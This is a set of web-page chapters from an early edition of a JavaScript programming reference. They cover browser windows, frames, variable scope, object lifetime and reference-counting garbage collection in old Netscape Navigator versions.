Because JavaScript is not multithreaded, scripts and event handlers should be written so that they do only small amounts of computation and return quickly. If a script or event handler runs for more than about a half second, the delay will potentially be noticeable and annoying to the user. If your script runs for even longer than this (say 3 or more seconds) then the browser may appear to have "locked up" or "frozen" and the user may think that it has crashed. Note that Navigator 2.0 and 3.0 do not display the Stop button while JavaScript code is running, so there is no way for the user to abort a script that is taking a long time (see the subsection below for an exception, however).

If you need to write a computation-intensive script, one technique is to break it up into small chunks and have each chunk do its computation, and then invoke the next chunk through the Window.setTimeout() method. Doing this, even with a 0 millisecond delay, will give Navigator a chance to do any updating it needs to do itself and will also give scripts from other windows a chance to run. In other words, as far as the user is concerned, it will look as if JavaScript is multithreaded. See the reference section for more details on the setTimeout() method of the Window object.

Infinite Loops in JavaScript

JavaScript is one of the few programming languages in which you cannot write an infinite loop! In order to prevent buggy or malicious code from monopolizing the browser and consuming lots of CPU time,[5] the JavaScript interpreter keeps track of how long a script has run for. When a script seems excessively long, Navigator pops up a dialog box that informs you that a script is still running ("Lengthy JavaScript still running. Continue?"), and gives you the choice of continuing it or aborting it.

[5] When malicious code does this intentionally, it is called a "denial-of-service attack".

Execution time is not measured in absolute time for these purposes, but in the number of branches the JavaScript code makes. Every one million branches, Navigator will ask again if you want to continue running it. For example, a very simple loop like for(var i = 0;;i++); will run one million times before Navigator asks you if you want to abort it. More complex loops will run fewer times. The actual time elapsed before Navigator gives you the option of aborting the script depends entirely upon the speed of your computer.

Previous | Home | Next
Execution of JavaScript Programs | Book Index | Windows and the JavaScript Name Space
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] Windows and the JavaScript Name Space

JavaScript: The Definitive Guide

Previous Chapter 11 Next

11. Windows and the JavaScript Name Space

Contents:
The Implicit Window Reference
Multiple Windows and Explicit Window References
Windows and Frames
Window and Frame Names
The JavaScript Name Space
Window and Variable Lifetime
Garbage Collection
The JavaScript Object Hierarchy

The interesting features of client-side JavaScript are those that integrate the programming language with the functionality of the browser. Since the most notable function of any web browser is its ability to display HTML text in a window, the Window object is the central, most important object in JavaScript. As we'll see in this chapter, the Window object is also the root of the "object hierarchy"--that is, all other HTML objects in JavaScript are accessed as properties of the Window object, or as properties of those properties. JavaScript HTML objects other than the Window object will be documented in the chapters that follow this one.

11.1 The Implicit Window Reference

In client-side JavaScript, the web browser window is represented by a Window object. This object has methods like alert() and prompt() that pop up dialog boxes to display messages and get input from the user. It has properties like location that specify the URL of the document currently displayed in the window and also allows programs to force the window to load a new document. As further examples, the Window object also has a status property that controls the message displayed in the browser status line, and a history property that refers to an object which allows programs to move the browser backwards and forwards through the user's browsing history.

While we've named various methods and properties of the Window object, we haven't named the Window object itself yet. ("Window" is the object's type, of course, not a reference to the actual object.) In fact, the Window object simply does not have a name--that is, there is no variable that contains a reference to the object that represents the browser window. The Window object is so central to client-side JavaScript that every JavaScript expression is evaluated in the context of that object. So whenever you use properties like history or methods like alert(), you implicitly refer to the history property of the Window object and the alert() method of the Window object. This reference to the window is implicit in all JavaScript expressions.

Having said this much, you may be confused, because you've probably seen JavaScript code that uses expressions like this:

window.alert("The URL is: " + window.location);
This is how it works: the Window object actually has a property named window that refers to itself. Thus, the expressions above are still implicitly evaluated in the context of the Window object. They reference the window property, which is simply another reference, explicit this time, to the same Window object. Then these expressions use this explicit reference to refer to the alert() method or location property. Therefore, using window in the above expression is unnecessary, and the following would work just as well.

alert("The URL is: " + location);

The Window object has another property, self, that is a synonym for the window property. In some cases, it is useful to use one of these properties to make your code clearer or to disambiguate it. Using these properties is largely a stylistic matter, however. For example, you might find it clearer to rewrite the JavaScript statement above like this:

alert("The URL is: " + self.location);
There are also a few occasions in which you need an explicit reference to the Window object--if you want to pass it as an argument to a function, for example. The self and window properties are useful in these cases.

Previous | Home | Next
JavaScript and Threads | Book Index | Multiple Windows and Explicit Window References
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.2 Multiple Windows and Explicit Window References

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.2 Multiple Windows and Explicit Window References

The difficulty with an implicit window reference is that most web browsers, including Navigator, allow more than one browser window to be open at a time. Since there can be more than one window, there must be more than one Window object, but the implicit window reference can only refer to one of them. Logically, the implicit reference is a reference to the current window--the window that is displaying the HTML document that contains the JavaScript code being executed.

If you want use the properties or methods of a Window object other than the current, implicit, window, you must obtain an explicit reference to it. In general, the only way to obtain an explicit reference to another Window object is to create that Window (and the browser window it represents) yourself. You open a new browser window, and create the Window object that represents it with the open() method of the Window object. You might use it like this. (Note that we access it through the window property of the implicit Window object to make more clear what it is we are opening.)

var newwin = window.open("sitemap.html", "site_map_window");
The first argument to this method is the URL of the document to be displayed in the new window. The second argument is a name for the new window. We'll see what this name can be used for later in this chapter. For now, note that this is not a variable name; you can't refer directly to the new window with this name. There is also a third, optional argument to the Window.open() method that specifies the size of the new window, and the features, such as a menubar, toolbar, and so on, that it should contain. See the reference section for full details on this third argument and on the method itself.

The most important feature of the open() method is the value it returns. This is the explicit reference to the new Window object that we need. In the line of code above, we store this reference in a variable named newwin. (Note the difference between the name of the variable that contains a reference to the window and the name of the window itself.) With this explicit reference to the new Window object, we can use properties and methods of the new window. For example, to set the text in the new window's status line, we could do this:

newwin.defaultStatus = "Site Map. Click map for details.";

The code shown above is intended to run in the original window, and use the newwin variable defined in that window to refer explicitly to the newly created window. Any code in the new window (i.e., JavaScript that is part of the sitemap.html document displayed in that window) can of course refer to that new window with an implicit reference--for that code, the new window is the "current" window. This raises the question of how code in the new window can refer to the original window, in order to use properties and methods of that Window object. Once again, an explicit reference is needed. In this case, the original window can provide that explicit reference for the use of the new window. The code to do so might look like this:

// Create a new window.
var newwin = window.open("sitemap.html", "site_map_window");
// Set a property in the new window that contains an explicit reference
// to the original window. There is nothing special about the name "creator";
// we can choose any property name we want.
newwin.creator = self;
Code in the new window can use this creator property to refer back to the original window:

// Code in the new window. Note that we refer to the creator property
// of the new window using the implicit window reference for that window.
creator.alert("Hello old window, this is the new window!");
In Navigator 3.0 and Internet Explorer 3.0, the open() method automatically creates an opener property for the new window that refers back to the window that opened it. This opener property can be used just like the creator property in the example above.

We've seen how we can use the Window.open() method to create a new browser window and obtain an explicit reference to it. The open() method also allows us to obtain an explicit reference to windows that already exist, if we know the name of that window. We mean here the name of the window itself, of course, not the name of a variable that refers to the window. This is the name specified by the second argument to Window.open(). In the examples above, we've used the name "site_map_window". So, if we know that a window by this name already exists, but we do not have a variable or a property that refers to the Window object for that window, then we can obtain such a reference like this:

// Return a reference to a named window that already exists, or, if it
// doesn't actually exist, then create a window with this name.
site_map = window.open("", "site_map_window");
The syntax used here is exactly the same as that we used when creating a window--if you specify the name of window that already exists, the open() method returns a reference to that window rather than creating a new one. On the other hand, if no window with the specified name exists, then open() creates one and returns a reference to it. Note that in Navigator 3.0 the open() sets the opener property of the named window whenever it is called, not only when it is created. So, this property of a window refers either to the window that created it or to the window that most recently looked it up by name.

Closing Windows

After all this talk of opening new windows, we should note that the Window object also has a close() method. If your program has created and used a new browser window, and that window is no longer needed, then it can close the new window with code like this:

window.close(site_map);
Or, the new window could close itself when it is no longer needed:

window.close(self);
Once a window has been closed, you should no longer use any of its properties or methods. (In Navigator 3.0, you may safely test the closed property of a closed window--if this property is true it lets you know that the window has already been closed and that you should not use any of the other properties.)

Note that you are only allowed to automatically close windows that your code created. If you attempt to close a window that the user opened, your attempt will either fail (in Navigator 2.0) or will pop up a prompt dialog asking the user if the window should really be closed (Navigator 3.0). This prevents malicious coders from creating web pages to lure unsuspecting surfers in and then close their main (and only) browser window!

Previous | Home | Next
The Implicit Window Reference | Book Index | Windows and Frames
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.3 Windows and Frames

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.3 Windows and Frames

While Navigator (and other browsers) can display multiple HTML pages in multiple browser windows, it can also display multiple pages within a single window by using frames--a feature that allows a single browser window to be divided horizontally or vertically (or both) into individual sections that each display a separate HTML document. Although frames are not strictly windows in their own right, they behave like windows in many ways, and in JavaScript, each frame is represented with a Window object. Thus the Window class can represent both top-level browser windows and frames within a browser window (and frames within other frames, of course).

Each Window object has a frames[] array property that contains references to each of the frames (if any) that the window contains. The frames.length property specifies the number of frames in the array. Also, each Window object has a parent property that refers to the window or frame that contains the object (top-level browser windows have their parent property set to themselves). Thus, if a browser window contains two frames, and JavaScript code is running in the first frame, that code refers to the first frame implicitly or with the self or window properties. To refer to the second frame, that code could use the expression parent.frames[1].

The top property is similar to the parent property, but differs for frames that are recursively contained within other frames. The top property always contains a reference to the top-level browser window that contains the frame, which, in the recursive frames case, is not the same as the parent of the frame. Figure 11.1 illustrates the relationship between frames and windows, and shows a schematic representation of the frames[] array, and the parent, top, window, and self properties.

Figure 11.1: Browser windows and frames

[Graphic: Figure 11-1]

Top-level windows and frames have a significantly different representation on the screen, so it would seem that they would have a different representation in JavaScript. As we've seen, however, they are both represented by the Window object, and have the same properties and methods. As it turns out, the practical differences between top-level windows and frames really are quite minor:

  • For top-level windows, the parent and top properties are simply references to the window itself; these properties are really useful only when used with frames, or when used to distinguish a frame from a top-level window; you can check for a top-level window with if (parent == self).

  • The alert(), confirm(), and prompt() methods pop up dialog boxes. While these methods may be invoked through any Window object, including those that represent frames, the dialog boxes always appear centered over the top-level window, not over individual frames.

  • Setting the status or defaultStatus properties of a top-level window sets the text that appears in the browser status line. When these properties are set for a frame, the status line only displays the specified text when the mouse is over the frame.

Previous | Home | Next
Multiple Windows and Explicit Window References | Book Index | Window and Frame Names
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.4 Window and Frame Names

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.4 Window and Frame Names

The second, optional[1] argument to the open() method discussed earlier is a name for the newly created window. By giving a top-level browser window a name, we've seen that you can look up a reference to that window by calling the open() method again. But you can also refer to a window by name in another way: by specifying the window name as the value of the TARGET attribute of the <A>, <MAP>, and <FORM> tags. What this does is tell the browser where you want the results of activating a link, clicking on an image map, or submitting a form to be displayed. For example, if you have two windows, one named "table_of_contents" and the other named "mainwin", then you might have HTML like the following in the "table_of_contents" window:

<A HREF="chapter01.html" TARGET="mainwin">
Chapter 1, Introduction
</A>
When the user clicks on this hyperlink, the browser will load the specified URL, but instead of displaying it in the window the link is in, it will display it in the window named "mainwin". If there is no window with the name "mainwin", then clicking on the link will create a new window with that name, and load the specified URL into it.

[1] This argument is not optional in Internet Explorer 3.0.

Since frames are a type of window, frames can also have names that can be used with the TARGET attribute. You specify a name for a frame with the NAME attribute of the <FRAME> tag that creates the frame.

There is even another reason to give names to frames. We've seen that every Window object has a frames[] array that contains references to each of its frames. This array contains all frames in a window (or frame) whether or not they have names. But if a frame is given a name, then a reference to that frame is also stored in a new property of the parent Window object. The name of that new property is the same as the name of the frame. Therefore, if you create a frame with HTML like this:

<FRAME NAME="table_of_contents" SRC="toc.html">
Then you can refer to that frame from another, sibling frame with:

parent.table_of_contents
This makes your code easier to read and understand than using (and relying on) a hardcoded array index as you'd have to do with an unnamed frame:

parent.frames[1]

Much of the discussion in this section has been about the TARGET attribute and other features of HTML rather than about JavaScript itself. If windows can have names, then it is logical to expect that Window objects have a JavaScript property that contains the window name. This is indeed true. The name property of any Window object contains the name of that window. In Navigator 2.0, this property is read-only. In Navigator 3.0, however, you can set this property, thereby changing the name of a window or a frame. One common reason to do this is to set the name of the initial browser window. When Navigator starts up, the initial window has no name, and so it cannot be used with the TARGET attribute. If you set the name property of the window, however, you can then use that name in TARGET attributes.

Previous | Home | Next
Windows and Frames | Book Index | The JavaScript Name Space
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.5 The JavaScript Name Space

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.5 The JavaScript Name Space

We've said that the Window object is really the most central one in client-side JavaScript. This is because it is the object that defines the name space of a program. We saw earlier that every JavaScript expression implicitly refers to the current window. This includes expressions as simple as window, which is a reference to a property within the current window that happens to refer to that window itself.

But if every expression refers to the current window, then so does code like this:

var i;  // declare a variable i
i = 0;  // assign the variable a value
The assignment i = 0 is actually the same as writing

window.i = 0;

This is an important point to understand about client-side JavaScript: variables are nothing more than properties of the current window. (This is not true for local variables declared within a function, however.)

One implication of the fact that variables are properties of the current Window object is that two variables with the same name may be declared in different windows or different frames, and they will not overwrite or conflict with each other.

Another implication is that JavaScript code running in one window or frame may read and write variables declared by code in another window or frame, as long as the first window knows how to refer to the second window.[2] So, if a top-level window has two frames, and code in the first frame does the following:

parent.frames[1].i = 3;
it is equivalent to code in the second frame doing the following:

i = 3;

[2] See Chapter 20, JavaScript Security, however, for a discussion of a "security hobble" that prevents scripts from one web server from reading values from windows that contain data from other web servers.

The final implication of the equivalence between variables and window properties is that there is no such thing as a "global variable" in client-side JavaScript--i.e., there are no user-created variables that are global to Navigator as a whole, across all windows and frames. Each variable is defined only within one window.

Recall that the function keyword that defines functions declares a variable just like the var keyword does. Since functions are referred to by variables, they to are defined only within the window in which they are declared. That is, if you define a function in one window, you cannot use it in another, unless you explicitly assign the function to a variable in the other window.

Remember that constructors are also functions, so when you define a class of objects with a constructor function and an associated prototype object, that class is only defined for a single window. (See Chapter 7, Objects, for details on constructor functions and prototype objects.) This is true of predefined constructors as well as constructors you define yourself. The String constructor is available in all windows, but that is because all windows automatically are given a property that refers to this predefined constructor function. Just as each window has its own separate reference to the constructor, each window has a separate copy of the prototype object for a constructor. So if you write a new method for manipulating JavaScript strings, and make it a method of the String class by assigning it to the String.prototype object in the current window, then all strings in that window will be able to use the new method. But the new method will not be accessible to strings defined in other windows.

Bear in mind that this discussion of variables and Window object properties does not apply to variables declared within functions. These "local" variables exist only within the function body and are not accessible outside of the function. Also, note that there is one difference between variables and properties of the current window. This difference is revealed in the behavior of the for/in loop. Window properties that were created by variable declarations are not returned by the for/in loop, while "regular" properties of the Window are. See Chapter 5, Statements, for details.

Variable Scope

We saw above that top-level variables are implemented as properties of the current window or frame object. In Chapter 6, Functions, we saw that local variables in a function are implemented as transient properties of the function object itself. From these facts, we can begin to understand variable scoping in JavaScript; we can begin to see how variable names are looked up.

Suppose a function f uses the identifier x in an expression. In order to evaluate the expression, JavaScript must look up the value of this identifier. To do so, it first checks if f itself has a property named x. If so, the value of that property is used; it is an argument, local variable, or static variable assigned to the function. If f does not have a property named x, then JavaScript next checks to see if the window that f is defined in has a property named x, and, if so, it uses the value of that property. In this case x would be a top-level or "global" (to that window) variable. Note that JavaScript looks up x in the window in which f was defined, which may not be the same as the window that is executing the script that called f. This is a subtle but important difference that can arise in some circumstances.

A similar process occurs if the function f uses document.title in an expression. In order to evaluate document.title, JavaScript must first evaluate document. It does this in the same way it evaluated x. First it sees if f has a property named document. If not, it checks whether its Window object has such a property. Once it has obtained a value for document, it proceeds to look up title as a property that object--it does not check the properties of the function or window, in this case, of course. In this example, the code probably refers to the document property of the Window object, and if the function inadvertently defined a local variable named document, the document.title expression might well be evaluated incorrectly.

What we learn from these examples is that identifiers are evaluated in two scopes: the current function, and the window in which the function is defined. In Chapter 5, Statements we saw that the with statement can be used to add additional scopes. When an identifier is evaluated, it is first looked up in the scopes specified by any containing with statements. For example, if a top-level script runs the following code:

with(o) {
  document.write(x);
}
Then the identifier x is evaluated first in the scope of the object o. If no definition is found in that object's properties, then x is evaluated in the context of the current window. If the same code occurred within a function f then x would be looked up first as a property of o, then as a property of f and finally as a property of the current window.

Recall that with statements can be nested arbitrarily, creating a variable "scope" of any depth. One interesting way to use with is with a window reference:

with(parent.frames[1]) {
   ...
}
This technique allows code in one window to easily read properties of another window. Another technique that is sometimes of interest is to place the entire body of a function within the block of a with(this) statement. What this does is create a method that evaluates identifiers by looking them up first as properties of the object that it is a method of. Note, however, that such a method would find properties of its object before it found its own local variables and arguments, which is unusual behavior!

Scope of event handlers

Event handlers are scoped differently than regular functions are. Consider the onChange() event handler of a text input field named t within an HTML form named f. If this event handler wants to evaluate the identifier x, it first uses the scope of any with statements of course, and then looks at local variables and arguments, as we saw above. If the event handler were a standalone function, it would look in the scope of the containing window next and stop there. But because this function is an event handler, it next looks in the scope of the text input element t. If the property x is not defined there, it looks at the properties of the form object f. If f does not have a property named x, JavaScript next checks to see if the Document object that contains the form has a definition of this property. Finally, if no definition of x is found in any of these objects, the containing window is checked.

If all identifiers had unique names, scope would never matter. But identifiers are not always unique, and we have to pay attention to scope. One important case is the Window.open() method and the Document.open() method. If a top-level script of a regular function calls open(), JavaScript's scoping rules will find the open property of the Window object and use this method. On the other hand, if an event handler calls open(), the scoping rules are different, and JavaScript will find the definition of open in the Document object before it finds it in the Window object. The same code may work in different ways depending on its context. The moral of this particular example is to never use the open() method without explicitly specifying whether you mean document.open() or window.open(). Be similarly cautious when using location; it, too, is a property of both the Window and Document objects.

Finally, note that if an event handler doesn't call open() directly but instead calls a function that calls open(), the function does not inherit the scope of the event handler that invoked it. The function's scope would be the function itself, and then the window that contains it, so in this case, the open() method would be interpreted as the Window.open() method, not Document.open().

Previous | Home | Next
Window and Frame Names | Book Index | Window and Variable Lifetime
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.6 Window and Variable Lifetime

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.6 Window and Variable Lifetime

We've seen earlier that Window objects are the central feature of client-side JavaScript, and that all variables (except those local to functions) are actually properties of a window. Having investigated the scope of variables, we now turn to the lifetime of the Window object, and of the variables it contains. In particular, we want to look at what happens when a window or frame moves from one web page and on to another.

A Window object that represents a top-level browser window exists as long as the window it represents exists. A reference to that Window object remains valid regardless of how many web pages it loads and unloads. The Window object is valid as long as the top-level window is open.[3]

[3] As we'll see in the next section, a Window object may not actually be destroyed when its window is closed, but references to that window will no longer be of much use.

A Window object that represents a frame remains valid as long as the frame remains within the frame or window that contains it. If the containing frame or window loads a new document, then the frames it contains will be destroyed in the process of loading that new document.

This is to say that Window objects, whether they represent top-level windows or frames, are fairly persistent--their lifetimes may be longer than that of the web pages that they contain and display, and longer than the lifetime of the scripts contained in the web pages they display.

When a web page that contains a script is unloaded because the user has pointed the browser on to a new page, the script is unloaded along with the page that contains it. (If the script was not unloaded, a browser might soon be overflowing with various lingering scripts!) But what about the variables defined by the script? Since these variables are actually properties of the Window object that contained the script, you might think that they would remain defined. On the other hand, leaving them defined seems dangerous--a new script that was loaded wouldn't be starting with a clean slate, and in fact, it could never know what sorts of properties (and therefore variables) were already defined.

In fact, all user-defined properties (which includes all variables) are erased whenever a web page is unloaded. The scripts in a freshly loaded document start with no variables defined, and no properties in their Window object, except for the standard properties defined by the system. What this means is that the lifetime of scripts and of the variables they define is the same as the lifetime of the document that contains the script. This is potentially much shorter than the lifetime of the window or frame that displays the document that contains the script.

Previous | Home | Next
The JavaScript Name Space | Book Index | Garbage Collection
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.7 Garbage Collection

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.7 Garbage Collection

In any programming language in which you can dynamically create new objects (such as with the new operator in JavaScript) there must be some form of "garbage collection"--a way of reclaiming the memory occupied by objects that are no longer in use. In C and C++, garbage collection is manual--the programmer explicitly decides when to free memory for reuse. In Java, on the other hand, garbage collection is handled automatically--the system can detect when objects are no longer in use and free them appropriately.

JavaScript also supports automatic garbage collection. In Internet Explorer 3.0, garbage collection is implemented in a technically sound way and you don't have to understand any of its details--it is enough to know that when your objects are no longer in use, the memory they occupy will automatically be reclaimed by the system. Navigator 4.0 will also have a perfectly transparent garbage collection scheme like this. Unfortunately, garbage collection in earlier versions of Navigator is less than perfect. In Navigator 3.0, it is pretty good, but requires you to be aware of a couple of issues. In Navigator 2.0, garbage collection is seriously flawed, and you must take a number of steps to avoid crashing the browser! The following subsections provide the details.

Reference Counting in Navigator 3.0

In Navigator 3.0, garbage collection is performed by reference counting. This means that every object (whether a user object created by JavaScript code, or a built-in HTML object created by the browser) keeps track of the number of references there are to it. Recall that objects are assigned by reference in JavaScript, rather than having their complete value copied.

When an object is created and a reference to it is stored in a variable, the object's reference count is 1. When the reference to the object is copied and stored in another variable, the reference count is incremented to 2. When one of the two variables that holds these references is overwritten with some new value, the object's reference count is decremented back to 1. If the reference count reaches zero, then there are no more references to the object, and since there are no references to copy, there can never again be a reference to the object in the program. Therefore, JavaScript knows that it is safe to destroy the object and "garbage collect" the memory associated with it.

This reference-counting scheme has some important implications. (These implications are also true of the Internet Explorer garbage collector, but, as we'll see, they are not true of the garbage collection scheme in Navigator 2.0.) If JavaScript code running in a window creates an object, and a reference to that object is stored in a variable of another window, then that object will continue to exist even after the window that created it is closed, or loads in a different page. The original reference to the object is lost, but since a reference still exists from another window, the object will not be garbage collected.

Perhaps a more surprising implication is that a top-level browser window may be closed by the user or by JavaScript code, but the Window object associated with it may continue to exist. This occurs when a variable in one window contains a reference to the window that is closed. Since there is still a reference to the Window object, that object cannot be garbage collected. Note, however, that many of the methods and properties of a Window object that is closed cannot be meaningfully used. In Navigator 3.0, you should be sure to check the closed property (a Boolean value) of any Window object before using its properties or methods, if there is any chance that it could have been closed.

Shortcomings of Garbage Collection by Reference Counting

As you may already be aware, there are some shortcomings to using reference counting as a garbage collection scheme. In fact, some people don't even consider reference counting to be true garbage collection, and reserve that term for algorithms such as "mark-and-sweep" garbage collection. The computer science literature on garbage collection is large and technical, and we won't get into it here. For our purposes it is enough to know that reference counting is a very simple form of garbage collection to implement, and it works fine in many situations. There are situations, however, in which reference counting cannot correctly detect and collect all "garbage", and you need to be aware of these.

The basic flaw with reference counting has to do with cyclical references. If object A contains a reference to object B and object B contains a reference to object A, then a cycle of references exists. A cycle would also exist, for example, if A referred to B, B referred to C, and C referred back to A. In cycles such as these, there is always a reference from within the cycle to every element in the cycle. Thus, even if none of the elements of the cycle has any remaining references, their reference count will never drop below one, and they can never be garbage collected. The entire cycle may be garbage, because there is no way to refer to any of these objects from a program, but because they all refer to each other, a reference-counting garbage collector will not be able to detect and free this unused memory.

This problem with cycles is the price that must be paid for a simple, lightweight, portable garbage collection scheme. The only way to prevent this problem is by manual intervention. If you create code in which A refers to B, B refers to C, and C refers to A, then you must be able to recognize that you've created a cycle, and take steps to force the cycle to be garbage collected when it is no longer needed.

When you know that the objects in your cycle are no longer in use, you can force them to be garbage collected by breaking the cycle. You can do this by picking one of the objects in the cycle and setting the property of it that refers to the next object to null. For example, suppose that A, B, and C are objects that each have a next property, and the value of this property is set so that these objects refer to each other and form a cycle. When these objects are no longer in use, you can break the cycle by setting A.next to null. This means that object B no longer has a reference from A, so its reference count can drop to zero and it can be garbage collected. Once it has been garbage collected, then it will no longer refer to C, so its reference count can drop to zero and it can be garbage collected. Once C is garbage collected, A can be garbage collected.

Note, of course, that none of this can happen if A, B, and C are stored in global variables in a window that is still open, because those variables A, B, and C still refer to the objects. If these were local variables in a function, and you broke their cycle before the function returned, then they could be garbage collected. But if they are stored in global variables, they will remain referenced until the window that contains them closes. In this case, if you want to force them to be garbage collected you must break the cycle and set the variables to null:

A.next = null;      // break the cycle
A = B = C = null;   // remove the last remaining external references

Per-Page Memory Management in Navigator 2.0

The garbage collection scheme in Navigator 2.0 is much simpler than that in Navigator 3.0, and, unfortunately, it is inadequate for the needs of JavaScript programs that use multiple windows and frames. In Navigator 2.0, all objects created by JavaScript code running in any particular window allocate memory from a pool of memory owned by the window. Then, when the window is destroyed, or when the document (containing the JavaScript program) displayed in the window is unloaded, the entire pool of memory is freed at once. No memory is freed until then.

With this garbage collection scheme, all memory allocated by the JavaScript running in a window can be freed in a single stroke. It is a simple and efficient scheme to implement. Unfortunately, it suffers from two major drawbacks.

First, if an object is created in one window, and then a reference to that object is stored in a variable in a second window, that object will be destroyed when the first window moves on to a new page, despite the fact that there is still an active reference to it from the other window. If this other window attempts to use this reference to the destroyed object, an error will result, possibly crashing the browser! This is an especially pernicious problem, because doing something as simple as assigning a string can cause this problem. Consider the following code:

newwin = window.open("", "temp_window");
newwin.defaultStatus = "temporary browser window".

The defaultStatus property is set to a string "owned" by the original window. If that window is closed, the string will be destroyed and the next reference to defaultStatus will go looking for a non-existing string.

The second problem with this scheme is that if a window never unloads, the memory associated with it will never be freed. For a page that runs some JavaScript once and then is static, this is not a problem. But consider a page that performs a status-bar animation, for example. If it updates the status bar several times a second for a long time, the memory consumed by that page will grow and grow. Another example occurs with the use of frames. One frame might serve as a navigation window, with controls that allow a user to easily browse a large site in other frames or other windows. These other frames and windows may load and unload pages frequently, freeing memory. But the navigation frame itself remains the same, and the memory associated with it is not freed. Depending on how the event handlers are written, there is a good chance that each time the user interacts with the navigation controls some new string or object will be created, and no memory will ever be freed. Eventually, the browser will run out of memory, and may well crash.

Workarounds for Navigator 2.0

It is possible to compensate, somewhat, for these memory management problems in Navigator 2.0. For the problem of memory not being released until the page is unloaded, the solution is simply to be careful about how much memory your scripts consume. If your page loops a lot or does a repetitive animation, look very carefully at the code that is executed over and over, and minimize the number of objects created on each iteration. Similarly, if you write a script that the user may use frequently without ever unloading, be sure to keep careful tabs on your memory usage.

Note that string manipulation is a big memory sink--each time you call a method on a string object, a new string object is generally created for the result. The same is true for string concatenation with the + operator.

For the problem of dangling references from one window to destroyed objects that were owned by another, one solution is to avoid programs that rely on inter-window references. Another solution is to be sure to make copies of all strings and other objects that are passed from one window to another. Suppose that in window 1, you want to set the defaultStatus property of window 2, as we saw earlier. If you do this directly with code in window 1, then window 2 will contain a reference to an object owned by window 1. But, if you call a function in window 2 to do the assignment, and make sure that the function makes a copy of the object, then the object assigned in window 2 will be owned by window 2. You could, for example, ensure that window 2 contains a definition of the following function:

function set_string_property(name, value)
{
    // Assign a property to this window, using associative array notation.
    // We add the empty string to the value to force JavaScript to make
    // a copy. If this function is called from another window, we won't
    // own the value string, but by making a copy, we do own the result.
    self[name] = value + "";
}

With this function defined, you could then set the property from window 1 with a line like the following:

window2.set_string_property("defaultStatus", "temporary browser window");

Previous | Home | Next
Window and Variable Lifetime | Book Index | The JavaScript Object Hierarchy
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.8 The JavaScript Object Hierarchy

JavaScript: The Definitive Guide

Previous Chapter 11
Windows and the JavaScript Name Space 		Next

11.8 The JavaScript Object Hierarchy

We've seen that the Window object is the central object of client-side JavaScript. All other client-side objects that radiate out from this center. As we've seen, JavaScript variables are nothing more than properties of the current Window object, and every JavaScript expression is implicitly evaluated in the context of that current window object. Therefore, any other objects in JavaScript can only be referred to through the Window object. For example, every Window object contains a document property that refers to the Document object associated with the window. Window objects also contain a frames[] array that refers to the Window objects that represent the frames of the original window. So, for example, document represents the Document object of the current window, and frames[1].document refers to the Document object of the second child frame of the current window.

Objects referred to through the current window or through some other Window object may themselves refer to other objects. For example, every Document object has a forms[] array that contains Form objects representing any HTML forms that appear in the document. To refer to one of these forms, you might write:

self.document.forms[0]
To continue with the same example, each Form object contains a elements[] array that contains objects that represent the various HTML form elements (input fields, buttons, etc.) that appear within the form. In extreme cases, you can write code that refers from one object to another and another and end up with expressions as complex as this one:

parent.frames[0].document.forms[0].elements[3].options[2].text

Because all client-side objects in JavaScript exist as properties of other objects, and because all expressions include an implicit reference to the current Window object, a hierarchy of JavaScript objects exists and that this hierarchy has the current window as its root. Figure 11.2 shows this hierarchy. Study this figure carefully; understanding the HTML object hierarchy and the objects it contains is crucial to successful client-side JavaScript programming.

Figure 11.2: The JavaScript object hierarchy

[Graphic: Figure 11-2]

Note that Figure 11.2 shows only object properties that refer to other objects. Most of the objects shown in the diagram have quite a few more properties than those shown. The notation "3.0" in the figure indicates properties that do not exist in Navigator 2.0. The chapters that follow document each of the objects shown in the object hierarchy diagram and demonstrate common JavaScript programming techniques that make use those objects. You may want to refer back to Figure 11.2 while reading these chapters.

Previous | Home | Next
Garbage Collection | Book Index | Programming with Windows
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] Programming with Windows

JavaScript: The Definitive Guide

Previous Chapter 12 Next

12. Programming with Windows

Contents:
Simple Dialogs
Opening and Closing Windows
The Status Line
Frame Programming Techniques
Other Window Programming Techniques

Chapter 11, Windows and the JavaScript Name Space, discussed implicit and explicit references to windows, window names, window lifetime, variable scope within windows, and other window-related architectural issues in JavaScript. This chapter gets down to fundamentals and describes some practical methods, properties, and techniques for programming with JavaScript windows.

12.1 Simple Dialogs

Three commonly used Window methods are alert(), confirm(), and prompt(). These methods pop up simple dialog boxes. alert() displays a message to the user. confirm() asks the user to click an Ok or Cancel button to confirm or abort an operation. And prompt() asks the user to enter a string. Sample dialogs produced by these three methods are shown in Figure 12.1, and Example 12.1 shows some typical uses of these methods.

Figure 12.1: alert(), confirm(), and prompt() dialog boxes

[Graphic: Figure 12-1]

Note that the text displayed by these dialog boxes is plain text, not HTML-formatted text. The only formatting you can do is with spaces, newlines, and various punctuation characters. Adjusting the formatting generally requires trial-and-error. Bear in mind, though, that the dialogs will look different on different platforms and in different browsers, so you can't always count on your formatting to look right on all possible browsers.

